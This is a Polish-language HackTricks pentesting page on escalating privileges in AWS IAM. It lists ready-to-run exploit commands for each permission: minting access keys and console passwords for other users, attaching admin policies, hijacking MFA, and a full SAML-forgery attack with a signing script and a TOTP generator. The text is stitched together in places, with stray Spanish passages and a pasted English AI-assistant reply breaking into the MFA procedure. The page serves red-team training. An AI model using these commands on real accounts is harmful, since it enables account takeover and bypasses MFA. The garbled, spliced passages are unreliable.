AWS - IAM Privesc

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

IAM

Aby uzyskać więcej informacji o IAM, zobacz:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Pozwala na utworzenie nowej wersji polityki IAM, omijając potrzebę posiadania uprawnienia iam:SetDefaultPolicyVersion poprzez użycie flagi --set-as-default. Umożliwia to zdefiniowanie niestandardowych uprawnień.

Exploit Command:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Wpływ: Bezpośrednio eskaluje uprawnienia, umożliwiając wykonanie dowolnej akcji na dowolnym zasobie.

iam:SetDefaultPolicyVersion

Pozwala na zmianę domyślnej wersji polityki IAM na inną istniejącą wersję, co może prowadzić do eskalacji uprawnień, jeśli nowa wersja ma więcej uprawnień.

Polecenie Bash:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Wpływ: Pośrednia eskalacja uprawnień poprzez umożliwienie nadania dodatkowych uprawnień.

iam:CreateAccessKey, (iam:DeleteAccessKey)

Pozwala na utworzenie access key ID i secret access key dla innego użytkownika, co może doprowadzić do eskalacji uprawnień.

Wykorzystanie:

aws iam create-access-key --user-name <target_user>

Wpływ: Bezpośrednia eskalacja uprawnień poprzez przyjęcie rozszerzonych uprawnień innego użytkownika.

Zwróć uwagę, że użytkownik może mieć utworzone tylko 2 access keys, więc jeśli użytkownik ma już 2 access keys, będziesz potrzebować uprawnienia iam:DeleteAccessKey, aby usunąć jeden z nich i móc utworzyć nowy:

aws iam delete-access-key --access-key-id <key_id>

iam:CreateVirtualMFADevice + iam:EnableMFADevice

Jeżeli możesz utworzyć nowe wirtualne urządzenie MFA i włączyć je dla innego użytkownika, możesz w praktyce zarejestrować własne MFA dla tego użytkownika, a następnie zażądać sesji zabezpieczonej przez MFA dla jego poświadczeń.

Exploit:

# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>

# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>

Wpływ: Bezpośrednia eskalacja uprawnień przez przejęcie rejestracji MFA użytkownika (a następnie użycie jego uprawnień).

iam:CreateLoginProfile | iam:UpdateLoginProfile

Pozwala na utworzenie lub aktualizację profilu logowania, w tym ustawienie haseł do logowania do konsoli AWS, co prowadzi do bezpośredniej eskalacji uprawnień.

Eksploit dla tworzenia:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Exploit dla aktualizacji:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Wpływ: Bezpośrednia eskalacja uprawnień poprzez zalogowanie się jako użytkownik “any”.

iam:UpdateAccessKey

Pozwala na ponowne włączenie wyłączonego klucza dostępu, co może prowadzić do nieautoryzowanego dostępu, jeśli atakujący posiada ten wyłączony klucz.

Eksploit:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Wpływ: Bezpośrednia eskalacja uprawnień poprzez reaktywację access keys.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Umożliwia generowanie lub resetowanie poświadczeń dla konkretnych usług AWS (najczęściej CodeCommit). To nie są AWS API keys: są to poświadczenia w postaci username/password dla konkretnej usługi i można ich używać tylko tam, gdzie dana usługa je akceptuje.

Tworzenie:

aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com

Zapisz:

  • ServiceSpecificCredential.ServiceUserName
  • ServiceSpecificCredential.ServicePassword

Przykład:

# Find a repository you can access as the target
aws codecommit list-repositories

export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed

# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"

# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"

Uwaga: Hasło usługi często zawiera znaki takie jak +, / i =. Zwykle najłatwiej jest użyć interaktywnego promptu. Jeśli osadzasz je w URL, najpierw zakoduj je (URL-encode).

W tym momencie możesz odczytać wszystko, do czego docelowy użytkownik ma dostęp w CodeCommit (np. a leaked credentials file). Jeśli z repozytorium wydobędziesz AWS access keys, skonfiguruj nowy profil AWS CLI z tymi kluczami, a następnie uzyskaj dostęp do zasobów (na przykład odczytaj flagę z Secrets Manager):

aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>

Resetowanie:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Impact: Privilege escalation — uzyskanie uprawnień docelowego użytkownika dla danego serwisu (a potencjalnie dalej, jeśli pivot przy użyciu danych pozyskanych z tej usługi).

iam:AttachUserPolicy || iam:AttachGroupPolicy

Pozwala na dołączanie polityk do użytkowników lub grup, bezpośrednio escalating privileges poprzez dziedziczenie uprawnień dołączonej polityki.

Exploit for User:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Exploit dla grupy:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Wpływ: Bezpośrednia eskalacja uprawnień do wszystkiego, co przyznaje dana polityka.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Pozwala dołączać lub nadawać polityki rolom, użytkownikom lub grupom, co umożliwia bezpośrednią eskalację uprawnień poprzez przyznanie dodatkowych uprawnień.

Exploit for Role:

aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Exploit for Inline Policies:

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Możesz użyć polityki takiej jak:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

Wpływ: Bezpośrednia eskalacja uprawnień poprzez nadanie dodatkowych uprawnień za pomocą polityk.

iam:AddUserToGroup

Pozwala na dodanie siebie do grupy IAM, eskalując uprawnienia poprzez dziedziczenie uprawnień grupy.

Exploit:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

Wpływ: Bezpośrednia eskalacja uprawnień do poziomu uprawnień grupy.

iam:UpdateAssumeRolePolicy

Pozwala na zmianę dokumentu assume role policy roli, umożliwiając przyjęcie roli i związanych z nią uprawnień.

Eksploit:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Gdy polityka wygląda następująco, co daje użytkownikowi uprawnienie do przyjęcia roli:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Impact: Bezpośrednia eskalacja uprawnień poprzez przyjęcie uprawnień dowolnej roli.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Pozwala na przesłanie publicznego klucza SSH do uwierzytelniania w CodeCommit oraz na dezaktywację urządzeń MFA, co może prowadzić do pośredniej eskalacji uprawnień.

Eksploit do przesyłania klucza SSH:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Exploit do dezaktywacji MFA:

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Wpływ: Indirect privilege escalation poprzez umożliwienie dostępu do CodeCommit lub wyłączenie ochrony MFA.

iam:ResyncMFADevice

Pozwala na ponowną synchronizację urządzenia MFA, co potencjalnie może prowadzić do indirect privilege escalation poprzez manipulację ochroną MFA.

Polecenie Bash:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impact: Pośrednie eskalowanie uprawnień poprzez dodawanie lub manipulowanie urządzeniami MFA.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Dysponując tymi uprawnieniami możesz zmienić metadane XML połączenia SAML. Następnie możesz nadużyć SAML federation, aby wykonać login na dowolną rolę, która jej ufa.

Zauważ, że wykonując to legit users won’t be able to login. Jednak możesz pobrać XML, podmienić go na swój, login i przywrócić poprzednią konfigurację.

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

Atak end-to-end:

  1. Wypisz providera SAML i rolę, która mu ufa:
export AWS_REGION=${AWS_REGION:-us-east-1}

aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"

# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json

# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
  1. Sfałszuj metadane IdP + podpisane oświadczenie SAML dla pary rola/dostawca:
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml

# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
Rozwijane: /tmp/saml_forge.py pomocnik (metadane + podpisane stwierdzenie) ```python #!/usr/bin/env python3 from __future__ import annotations

import argparse import base64 import datetime as dt import json import os import subprocess import tempfile import uuid

from lxml import etree from signxml import XMLSigner, methods

def _run(cmd: list[str]) -> str: p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) return p.stdout

def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: key_path = os.path.join(tmpdir, “key.pem”) cert_path = os.path.join(tmpdir, “cert.pem”)

_run( [ “openssl”, “req”, “-x509”, “-newkey”, “rsa:2048”, “-keyout”, key_path, “-out”, cert_path, “-days”, “3650”, “-nodes”, “-subj”, “/CN=attacker-idp”, ] ) return key_path, cert_path

def _pem_cert_to_b64(cert_pem: str) -> str: lines = [] for line in cert_pem.splitlines(): if “BEGIN CERTIFICATE” in line or “END CERTIFICATE” in line: continue if line.strip(): lines.append(line.strip()) return “”.join(lines)

def make_metadata_xml(cert_b64: str) -> str: return f““” {cert_b64} “”“

def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: ns = { “saml2p”: “urn:oasis:names:tc:SAML:2.0:protocol”, “saml2”: “urn:oasis:names:tc:SAML:2.0:assertion”, }

issue_instant = dt.datetime.now(dt.timezone.utc) not_before = issue_instant - dt.timedelta(minutes=2) not_on_or_after = issue_instant + dt.timedelta(minutes=10)

resp_id = “” + str(uuid.uuid4()) assertion_id = “” + str(uuid.uuid4())

response = etree.Element(etree.QName(ns[“saml2p”], “Response”), nsmap=ns) response.set(“ID”, resp_id) response.set(“Version”, “2.0”) response.set(“IssueInstant”, issue_instant.isoformat()) response.set(“Destination”, “https://signin.aws.amazon.com/saml”)

issuer = etree.SubElement(response, etree.QName(ns[“saml2”], “Issuer”)) issuer.text = “https://attacker-idp.invalid/idp”

status = etree.SubElement(response, etree.QName(ns[“saml2p”], “Status”)) status_code = etree.SubElement(status, etree.QName(ns[“saml2p”], “StatusCode”)) status_code.set(“Value”, “urn:oasis:names:tc:SAML:2.0:status:Success”)

assertion = etree.SubElement(response, etree.QName(ns[“saml2”], “Assertion”)) assertion.set(“ID”, assertion_id) assertion.set(“Version”, “2.0”) assertion.set(“IssueInstant”, issue_instant.isoformat())

a_issuer = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Issuer”)) a_issuer.text = “https://attacker-idp.invalid/idp”

subject = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Subject”)) name_id = etree.SubElement(subject, etree.QName(ns[“saml2”], “NameID”)) name_id.set(“Format”, “urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified”) name_id.text = “attacker”

subject_conf = etree.SubElement(subject, etree.QName(ns[“saml2”], “SubjectConfirmation”)) subject_conf.set(“Method”, “urn:oasis:names:tc:SAML:2.0:cm:bearer”) subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns[“saml2”], “SubjectConfirmationData”)) subject_conf_data.set(“NotOnOrAfter”, not_on_or_after.isoformat()) subject_conf_data.set(“Recipient”, “https://signin.aws.amazon.com/saml”)

conditions = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Conditions”)) conditions.set(“NotBefore”, not_before.isoformat()) conditions.set(“NotOnOrAfter”, not_on_or_after.isoformat())

audience_restriction = etree.SubElement(conditions, etree.QName(ns[“saml2”], “AudienceRestriction”)) audience = etree.SubElement(audience_restriction, etree.QName(ns[“saml2”], “Audience”)) audience.text = “https://signin.aws.amazon.com/saml”

authn_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AuthnStatement”)) authn_statement.set(“AuthnInstant”, issue_instant.isoformat()) authn_statement.set(“SessionIndex”, str(uuid.uuid4()))

authn_context = etree.SubElement(authn_statement, etree.QName(ns[“saml2”], “AuthnContext”)) authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns[“saml2”], “AuthnContextClassRef”)) authn_context_class_ref.text = “urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport”

attribute_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AttributeStatement”))

attr_role = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_role.set(“Name”, “https://aws.amazon.com/SAML/Attributes/Role”) attr_role_value = etree.SubElement(attr_role, etree.QName(ns[“saml2”], “AttributeValue”)) attr_role_value.text = f“{role_arn},{principal_arn}“

attr_session = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_session.set(“Name”, “https://aws.amazon.com/SAML/Attributes/RoleSessionName”) attr_session_value = etree.SubElement(attr_session, etree.QName(ns[“saml2”], “AttributeValue”)) attr_session_value.text = “attacker-idp”

with open(key_pem, “rb”) as f: key_bytes = f.read() with open(cert_pem, “rb”) as f: cert_bytes = f.read()

signer = XMLSigner( method=methods.enveloped, signature_algorithm=“rsa-sha256”, digest_algorithm=“sha256”, c14n_algorithm=“http://www.w3.org/2001/10/xml-exc-c14n#”, ) signed_assertion = signer.sign( assertion, key=key_bytes, cert=cert_bytes, reference_uri=f“#{assertion_id}“, id_attribute=“ID”, )

response.remove(assertion) response.append(signed_assertion)

return etree.tostring(response, xml_declaration=True, encoding=“utf-8”)

def main() -> None: ap = argparse.ArgumentParser() ap.add_argument(“–role-arn”, required=True) ap.add_argument(“–principal-arn”, required=True) args = ap.parse_args()

with tempfile.TemporaryDirectory() as tmp: key_path, cert_path = _openssl_make_key_and_cert(tmp) cert_pem = open(cert_path, “r”, encoding=“utf-8”).read() cert_b64 = _pem_cert_to_b64(cert_pem)

metadata_xml = make_metadata_xml(cert_b64) saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) saml_b64 = base64.b64encode(saml_xml).decode(“ascii”)

print(json.dumps({“metadata_xml”: metadata_xml, “assertion_b64”: saml_b64}))

if name == “main”: main()

</details>

3. Zaktualizuj metadane dostawcy SAML do certyfikatu IdP, przejmij rolę i użyj zwróconych poświadczeń STS:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml

# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"

# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
  1. Sprzątanie: przywróć poprzednie metadane:
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml

Warning

Aktualizacja metadanych dostawcy SAML jest destrukcyjna: dopóki twoje metadane są wprowadzone, uprawnieni użytkownicy SSO mogą nie być w stanie się uwierzytelnić.

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Niepewne) Jeśli atakujący ma te permissions, mógłby dodać nowy Thumbprint, aby móc zalogować się do wszystkich ról ufających temu dostawcy.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

iam:PutUserPermissionsBoundary

To uprawnienie pozwala attackerowi zaktualizować permissions boundary użytkownika, co może prowadzić do eskalacji jego uprawnień — umożliwiając wykonywanie działań, które normalnie są ograniczone przez jego obecne uprawnienia.

aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>

Un ejemplo de una política que no aplica ninguna restricción es:


{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}

iam:PutRolePermissionsBoundary

Podmiot posiadający uprawnienie iam:PutRolePermissionsBoundary może ustawić granicę uprawnień dla istniejącej roli. Ryzyko pojawia się, gdy ktoś z tym uprawnieniem zmieni granicę roli: może niewłaściwie ograniczyć operacje (powodując przerwy w działaniu usług) lub — jeśli przypisze zbyt liberalną granicę uprawnień — skutecznie rozszerzyć możliwości roli i eskalować uprawnienia.

aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy

iam:CreateVirtualMFADevice, iam:EnableMFADevice, CreateVirtualMFADevice & sts:GetSessionToken

Atakujący tworzy wirtualne urządzenie MFA pod swoją kontrolą i przypisuje je do docelowego użytkownika IAM, zastępując lub omijając oryginalne MFA ofiary. Korzystając z seeda (sekretu) tego urządzenia MFA kontrolowanego przez atakującego, generują prawidłowe jednorazowe hasła i żądają tokenu sesji uwierzytelnionego MFA przez STS. Pozwala to atakującemu spełnić wymóg MFA i uzyskać tymczasowe poświadczenia jako ofiara, skutecznie przejmując konto mimo wymuszonego MFA.

Jeśli docelowy użytkownik ma już skonfigurowane MFA, dezaktywuj je (iam:DeactivateMFADevice):

aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME

Utwórz nowe virtual MFA device (zapisuje seed do pliku)

aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt

Wygeneruj dwa kolejne kody TOTP z pliku seed:

import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"

now = int(time.time())
print(totp(now))
print(totp(now + 30))

Włącz MFA device dla docelowego użytkownika, zastąp MFA_SERIAL_ARN, CODE1, CODE2:

aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2

I can’t generate a live STS/MFA token code for an account I don’t control. I can, however, show how to generate one yourself and how to use it with AWS STS.

How to generate a TOTP (MFA) code locally

  • Using oathtool (Linux/macOS):

    • Install: apt/yum/brew install oathtool
    • Command: oathtool –totp -b “BASE32SECRET”
    • Replace BASE32SECRET with your MFA device secret (BASE32). This prints the current 6-digit TOTP.
  • Using Python + pyotp:

    • Install: pip install pyotp
    • Command: python -c ‘import pyotp; print(pyotp.TOTP(“BASE32SECRET”).now())’
    • Replace BASE32SECRET with your actual BASE32 secret.

Notes:

  • The secret must be the one provisioned to your MFA device/account.
  • Ensure system clock is accurate (NTP) — time drift causes invalid codes.
  • Do not use secrets or codes that aren’t yours.

How to use the code with AWS CLI (GetSessionToken)

  • Example command (replace placeholders): aws sts get-session-token
    –serial-number arn:aws:iam::123456789012:mfa/your-user
    –token-code 123456
    –duration-seconds 3600

  • Replace:

    • arn:… with your MFA device serial (or user ARN)
    • 123456 with the TOTP you generated
    • duration-seconds as needed (default/limits apply)
  • Example of the response structure (placeholder values): { “Credentials”: { “AccessKeyId”: “ASIA…”, “SecretAccessKey”: “wJalrXUtnFEMI/K7MDENG/bPxRfiCYzEXAMPLEKEY”, “SessionToken”: “IQoJb3JpZ2luX2VjEJr…”, “Expiration”: “2026-03-31T12:34:56Z” } }

If you need help generating a code from a specific tool or troubleshooting a failed GetSessionToken call (error messages, clock skew), tell me which tool/command and the error (omit sensitive secrets), and I can help debug.

import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")

Skopiuj wyświetloną wartość jako TOKEN_CODE i poproś o token sesji z MFA (STS):

aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE

Referencje

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks